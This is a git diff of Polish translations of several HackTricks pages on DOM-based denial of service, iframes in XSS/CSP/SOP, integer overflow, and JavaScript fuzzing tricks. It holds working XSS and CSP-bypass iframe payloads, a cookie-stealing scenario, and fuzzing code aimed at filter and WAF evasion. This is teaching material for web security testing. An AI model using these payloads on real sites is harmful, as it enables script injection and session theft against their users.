From: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)
|
||||
|
||||
**Podatności na usługę odmowy dostępu oparte na DOM** występują, gdy skrypt przekazuje **dane kontrolowane przez atakującego w sposób niebezpieczny do problematycznej platformy API**. Dotyczy to interfejsów API, które, gdy są wywoływane, mogą sprawić, że komputer użytkownika zużyje **nadmierną ilość zasobów CPU lub miejsca na dysku**. Takie podatności mogą mieć znaczące skutki uboczne, takie jak przeglądarka ograniczająca funkcjonalność witryny poprzez odrzucanie prób przechowywania danych w `localStorage` lub zatrzymywanie zajętych skryptów.
|
||||
**Luki typu denial-of-service oparte na DOM** występują, gdy skrypt przekazuje **dane kontrolowane przez atakującego w sposób niebezpieczny do problematycznego API platformy**. Obejmuje to API, które, gdy są wywoływane, mogą spowodować, że komputer użytkownika zużyje **nadmierne ilości CPU lub miejsca na dysku**. Takie luki mogą mieć znaczące skutki uboczne, takie jak ograniczenie funkcjonalności strony przez przeglądarkę poprzez odrzucenie prób przechowywania danych w `localStorage` lub zakończenie zajętych skryptów.
|
||||
|
||||
Ssaki:
|
||||
Sinks:
|
||||
```javascript
|
||||
requestFileSystem()
|
||||
RegExp()
|
||||
|
@ -306,14 +311,17 @@ RegExp()
|
|||
[dom-clobbering.md](dom-clobbering.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,27 @@
|
|||
# Iframes w XSS, CSP i SOP
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Iframes w XSS
|
||||
|
||||
Istnieją 3 sposoby wskazania zawartości zafarowanej strony:
|
||||
Istnieją 3 sposoby na wskazanie zawartości strony w iframe:
|
||||
|
||||
* Poprzez `src` wskazujący na URL (URL może być z innej domeny lub tej samej)
|
||||
* Poprzez `src` wskazujący na zawartość za pomocą protokołu `data:`
|
||||
* Poprzez `srcdoc` wskazujący na zawartość
|
||||
* Poprzez `src` wskazujący URL (URL może być cross origin lub same origin)
|
||||
* Poprzez `src` wskazujący zawartość za pomocą protokołu `data:`
|
||||
* Poprzez `srcdoc` wskazujący zawartość
|
||||
|
||||
**Dostęp do zmiennych rodzica i dziecka**
|
||||
```html
|
||||
|
@ -51,18 +54,18 @@ var secret="child secret";
|
|||
alert(parent.secret)
|
||||
</script>
|
||||
```
|
||||
Jeśli uzyskasz dostęp do poprzedniego pliku html za pomocą serwera http (np. `python3 -m http.server`), zauważysz, że wszystkie skrypty zostaną wykonane (ponieważ nie ma CSP, który by temu zapobiegał). **Rodzic nie będzie mógł uzyskać dostępu do zmiennej `secret` w żadnym iframe** i **tylko iframy if2 i if3 (które są uważane za witryny o tej samej domenie) mogą uzyskać dostęp do sekretu** w oryginalnym oknie.\
|
||||
Zauważ, że if4 jest uważany za mający pochodzenie `null`.
|
||||
Jeśli uzyskasz dostęp do poprzedniego html za pośrednictwem serwera http (takiego jak `python3 -m http.server`), zauważysz, że wszystkie skrypty będą wykonywane (ponieważ nie ma CSP, które by to uniemożliwiało). **Rodzic nie będzie mógł uzyskać dostępu do zmiennej `secret` wewnątrz żadnego iframe** i **tylko iframes if2 i if3 (które są uważane za tej samej witryny) mogą uzyskać dostęp do sekretnych** w oryginalnym oknie.\
|
||||
Zauważ, że if4 jest uważany za mający `null` origin.
|
||||
|
||||
### Iframy z CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||
### Iframes z CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||
|
||||
{% hint style="info" %}
|
||||
Proszę zauważyć, że w poniższych bypassach odpowiedź na stronę z iframem nie zawiera nagłówka CSP, który zapobiegałby wykonaniu JS.
|
||||
Proszę zauważyć, że w poniższych obejściach odpowiedź na stronę w iframe nie zawiera żadnego nagłówka CSP, który uniemożliwia wykonanie JS.
|
||||
{% endhint %}
|
||||
|
||||
Wartość `self` dla `script-src` nie pozwoli na wykonanie kodu JS za pomocą protokołu `data:` ani atrybutu `srcdoc`.\
|
||||
Jednak nawet wartość `none` w CSP pozwoli na wykonanie iframów, które umieszczają adres URL (cały lub tylko ścieżkę) w atrybucie `src`.\
|
||||
Dlatego możliwe jest obejście CSP na stronie za pomocą:
|
||||
Wartość `self` w `script-src` nie pozwoli na wykonanie kodu JS przy użyciu protokołu `data:` lub atrybutu `srcdoc`.\
|
||||
Jednak nawet wartość `none` CSP pozwoli na wykonanie iframe, które umieszczają adres URL (pełny lub tylko ścieżkę) w atrybucie `src`.\
|
||||
Dlatego możliwe jest obejście CSP strony za pomocą:
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
|
@ -77,14 +80,14 @@ var secret = "31337s3cr37t";
|
|||
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
||||
</html>
|
||||
```
|
||||
Zauważ, że **poprzednia CSP zezwala jedynie na wykonanie skryptu osadzonego**.\
|
||||
Jednakże **tylko skrypty `if1` i `if2` zostaną wykonane, ale tylko `if1` będzie w stanie uzyskać dostęp do rodzica sekretu**.
|
||||
Zauważ, że **poprzedni CSP zezwala tylko na wykonanie skryptu inline**.\
|
||||
Jednak **tylko skrypty `if1` i `if2` będą wykonywane, ale tylko `if1` będzie mogło uzyskać dostęp do tajemnicy rodzica**.
|
||||
|
||||
![](<../../.gitbook/assets/image (372).png>)
|
||||
|
||||
Dlatego możliwe jest **obejście CSP, jeśli można przesłać plik JS na serwer i załadować go za pomocą iframu nawet przy `script-src 'none'`**. To może **potencjalnie zostać również zrobione poprzez nadużycie punktu końcowego JSONP o tej samej stronie**.
|
||||
Dlatego możliwe jest **obejście CSP, jeśli możesz przesłać plik JS na serwer i załadować go za pomocą iframe, nawet przy `script-src 'none'`**. To **można potencjalnie również zrobić, nadużywając punktu końcowego JSONP w tej samej witrynie**.
|
||||
|
||||
Możesz przetestować to przy następującym scenariuszu, gdzie ciasteczko jest kradzione nawet przy `script-src 'none'`. Po prostu uruchom aplikację i uzyskaj do niej dostęp za pomocą przeglądarki:
|
||||
Możesz to przetestować w następującym scenariuszu, w którym ciasteczko jest kradzione, nawet przy `script-src 'none'`. Po prostu uruchom aplikację i uzyskaj do niej dostęp za pomocą przeglądarki:
|
||||
```python
|
||||
import flask
|
||||
from flask import Flask
|
||||
|
@ -113,22 +116,22 @@ app.run()
|
|||
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
|
||||
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
|
||||
```
|
||||
### Ramka piaskownica
|
||||
### Iframe sandbox
|
||||
|
||||
Zawartość w ramce iframe może podlegać dodatkowym ograniczeniom za pomocą atrybutu `sandbox`. Domyślnie ten atrybut nie jest stosowany, co oznacza brak ograniczeń.
|
||||
Zawartość w iframe może być poddana dodatkowym ograniczeniom za pomocą atrybutu `sandbox`. Domyślnie ten atrybut nie jest stosowany, co oznacza, że nie ma żadnych ograniczeń.
|
||||
|
||||
Kiedy jest wykorzystywany, atrybut `sandbox` narzuca kilka ograniczeń:
|
||||
Gdy jest używany, atrybut `sandbox` nakłada kilka ograniczeń:
|
||||
|
||||
* Zawartość jest traktowana tak, jakby pochodziła z unikalnego źródła.
|
||||
* Każda próba przesłania formularzy jest blokowana.
|
||||
* Wykonywanie skryptów jest zabronione.
|
||||
* Dostęp do określonych interfejsów API jest wyłączony.
|
||||
* Zapobiega łączeniu się linków z innymi kontekstami przeglądania.
|
||||
* Użycie wtyczek za pomocą tagów `<embed>`, `<object>`, `<applet>` lub podobnych jest niedozwolone.
|
||||
* Nawigacja kontekstu przeglądania najwyższego poziomu zawartości przez samą zawartość jest uniemożliwiona.
|
||||
* Funkcje, które są uruchamiane automatycznie, takie jak odtwarzanie wideo lub automatyczne ustawianie fokusu na elementach formularza, są blokowane.
|
||||
* Wykonanie skryptów jest zabronione.
|
||||
* Dostęp do niektórych interfejsów API jest wyłączony.
|
||||
* Zapobiega interakcji linków z innymi kontekstami przeglądania.
|
||||
* Użycie wtyczek za pomocą `<embed>`, `<object>`, `<applet>` lub podobnych tagów jest zabronione.
|
||||
* Nawigacja w górnym kontekście przeglądania przez samą zawartość jest zablokowana.
|
||||
* Funkcje, które są uruchamiane automatycznie, takie jak odtwarzanie wideo lub automatyczne ustawianie fokusu na kontrolkach formularzy, są blokowane.
|
||||
|
||||
Wartość atrybutu może być pozostawiona pusta (`sandbox=""`), aby zastosować wszystkie wyżej wymienione ograniczenia. Alternatywnie, może być ustawiona na listę wartości oddzielonych spacją, które zwalniają ramkę iframe z pewnych ograniczeń.
|
||||
Wartość atrybutu może być pozostawiona pusta (`sandbox=""`), aby zastosować wszystkie powyższe ograniczenia. Alternatywnie, może być ustawiona na listę specyficznych wartości oddzielonych spacjami, które zwalniają iframe z niektórych ograniczeń.
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
```
|
||||
|
@ -152,14 +155,17 @@ Sprawdź następujące strony:
|
|||
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# Przepełnienie liczby całkowitej
|
||||
# Przepełnienie całkowite
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań mistrzem hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz uzyskać dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Sprawdź:
|
||||
|
||||
|
@ -18,14 +21,17 @@ Sprawdź:
|
|||
[integer-overflow.md](../../binary-exploitation/integer-overflow.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań mistrzem hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz uzyskać dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# Różne sztuczki JS i istotne informacje
|
||||
# Misc JS Tricks & Relevant Info
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Fuzzing JavaScriptu
|
||||
## Javascript Fuzzing
|
||||
|
||||
### Poprawne znaki komentarza JS
|
||||
### Valid JS Comment Chars
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
|
@ -65,7 +68,7 @@ log.push([i,j])
|
|||
}
|
||||
console.log(log)//[35,33],[47,47]
|
||||
```
|
||||
### Poprawne znaki nowej linii w JS
|
||||
### Ważne znaki nowej linii JS
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10) //0x0a
|
||||
|
@ -87,7 +90,7 @@ console.log(`[${err}]`,j,cmd);
|
|||
}
|
||||
//From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z
|
||||
```
|
||||
### Poprawne spacje JS w wywołaniu funkcji
|
||||
### Ważne spacje JS w wywołaniu funkcji
|
||||
```javascript
|
||||
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 40-41). Kindle Edition.
|
||||
|
||||
|
@ -104,7 +107,7 @@ log.push(i)
|
|||
|
||||
console.log(log)v//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,813 232,8233,8239,8287,12288,65279
|
||||
```
|
||||
### **Dopuszczalne znaki do generowania ciągów znaków**
|
||||
### **Ważne znaki do generowania ciągów**
|
||||
```javascript
|
||||
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 41-42). Kindle Edition.
|
||||
|
||||
|
@ -121,7 +124,7 @@ console.log(log) //34,39,47,96
|
|||
```
|
||||
### **Surrogate Pairs BF**
|
||||
|
||||
Ta technika nie będzie bardzo przydatna do XSS, ale może być przydatna do ominięcia zabezpieczeń WAF. Ten kod Pythona przyjmuje jako wejście 2 bajty i wyszukuje pary zastępcze, które mają pierwszy bajt jako ostatnie bajty pary wysokiej zastępczej i ostatni bajt jako ostatni bajt pary niskiej zastępczej.
|
||||
Ta technika nie będzie zbyt przydatna dla XSS, ale może być użyteczna do obejścia ochron WAF. Ten kod w Pythonie przyjmuje jako wejście 2 bajty i wyszukuje pary zastępcze, które mają pierwszy bajt jako ostatni bajt pary wysokiej oraz ostatni bajt jako ostatni bajt pary niskiej.
|
||||
```python
|
||||
def unicode(findHex):
|
||||
for i in range(0,0xFFFFF):
|
||||
|
@ -132,12 +135,7 @@ l = chr(int(L[-2:],16))
|
|||
if(h == findHex[0]) and (l == findHex[1]):
|
||||
print(H.replace("0x","\\u")+L.replace("0x","\\u"))
|
||||
```
|
||||
Więcej informacji:
|
||||
|
||||
* [https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md](https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md)
|
||||
* [https://mathiasbynens.be/notes/javascript-unicode](https://mathiasbynens.be/notes/javascript-unicode) [https://mathiasbynens.be/notes/javascript-encoding](https://mathiasbynens.be/notes/javascript-encoding)
|
||||
|
||||
### Testowanie Fuzzing Protokołu `javascript{}:`
|
||||
### `javascript{}:` Fuzzing protokołu
|
||||
```javascript
|
||||
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition.
|
||||
log=[];
|
||||
|
@ -160,7 +158,7 @@ document.body.append(anchor)
|
|||
// Another way to test
|
||||
<a href="javascript:alert(1337)">Test</a>
|
||||
```
|
||||
### Przeszukiwanie URL-iów
|
||||
### Fuzzowanie URLi
|
||||
```javascript
|
||||
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 36-37). Kindle Edition.
|
||||
|
||||
|
@ -186,7 +184,7 @@ log.push(i);
|
|||
}
|
||||
console.log(log) //9,10,13,47,92
|
||||
```
|
||||
### Testowanie Fuzzingowe HTML
|
||||
### HTML Fuzzing
|
||||
```javascript
|
||||
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 38). Kindle Edition.
|
||||
|
||||
|
@ -202,18 +200,18 @@ log.push(i);
|
|||
}
|
||||
console.log(log)//33,45,62
|
||||
```
|
||||
## **Analizowanie atrybutów**
|
||||
## **Analiza atrybutów**
|
||||
|
||||
Narzędzie **Inspektor Hackability** od Portswigger pomaga **analizować** **atrybuty** obiektu JavaScript. Sprawdź: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
|
||||
